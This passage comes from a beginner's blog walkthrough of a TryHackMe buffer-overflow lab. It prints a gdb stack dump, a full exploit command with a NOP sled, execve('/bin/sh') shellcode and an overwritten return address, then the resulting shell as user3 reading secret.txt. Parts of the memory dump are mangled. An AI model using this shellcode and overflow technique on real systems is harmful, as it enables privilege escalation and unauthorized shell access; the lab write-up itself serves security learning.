(gdb) x/100x $rsp-200 0x7fffffffe218: 0x004005a9 0x000000000 0xf7fffa268 0x00007ffff 0x7fffffffe228: 0xffffe63a 0x00007ffff 0x67676f64 0x9090906f 0x7fffffffffe238: 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe248: 0x90909090 0x909090 0x7fffffffffe248: 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffe258: 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffffe268: 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x7fffffffffe288: 0x909090 0xbf66ff31 0x716a03eb 0xfe894858 0x7fffffffffe298: 0x3b6a050f 0xd2314858 0x2f2fb849 0x2f6e6962 0x7fffffffe2a8: 0xc1496873 0x504108e8 0x52e78948 0xe6894857 0x7fffffffe2b8: 0x3c6a050f 0xff314858 0x4141050f 0x414141 0x7fffffffe2c8: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2d8: 0x424242 0x00004242 0xfffffe3d8 0x00007ffff 0x7fffffffe2e8: 0x0000000 0x0000002 0x004005e0 0x0000000 0x7fffffffe2f8: 0xf7a4302a 0x00007ffff 0x0000000 0x000000 0x7fffffffe308: 0xffffe3d8 0x00007ffff 0x000040000 0x0000002 0x7fffffffffe318: 0x004005ac 0x000000 0x000000 0x000000 0x7fffffffffe328: 0x04bbf356 0x29eb8017 0x00400450 0x0000000 0x7fffffffe338: 0xffffe3d0 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0xc97bf356 0xd6147f68 0x7fffffffe358: 0x50bff356 0xd6146fdf 0x000000 0x000000 0x7fffffffe368: 0x0000000 0x000000 0x0000000 0x0000000 0x7fffffffe378: 0xfffffe3f0 0x000007ffff 0xf7fffe130 0x00007ffff 0x7fffffffe388: 0xf7de7656 0x00007ffff 0x0000000 0x0000000 0x7fffffffffe398: 0x000000 0x0000000 0x0000000

There's a shellcode in the second column of 0x7fffffffe288.

Anywhere you fill in with NOP is fine, but this time, let's make "0x7fffffffe288" the return destination.
Set B to the return address: 0x7fffffffe288 ⇒ 0x88e2ffffffff7f ⇒ \x88\xe2\xff\xff\xff\x7f .

[user1@ip-10-10-232-238 overflow-4]$ ./buffer-overflow-2 $(python -c "print '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\ x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*22+'\x88\xe2\xff\xff\xff\x7f'") new word is doggo1fjqXHj;XH1I//bin/shIAPHRWHj

I was able to successfully obtain the shell of user3.
Finally, check secret.txt.

sh-4.2$ cat secret.txt wowanothertime!!

Answer

summary

This time, I actually tried out Buffer OverFlow.
To be honest, I still don't understand the mechanism of memory, but I think I understand how to overflow.

References and Sites

The Bob Loblaw Blog: https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
l1ge’s cabin: https://l1ge.github.io/tryhackme_bof1/

Share if you like!

Who wrote this article

This is a blog I started to study information security. As a new employee, I would be happy if you could look with a broad heart.
There is also Teech Lab, which is an opportunity to study programming fun, so if you are interested in software development, be sure to take a look!

table of contents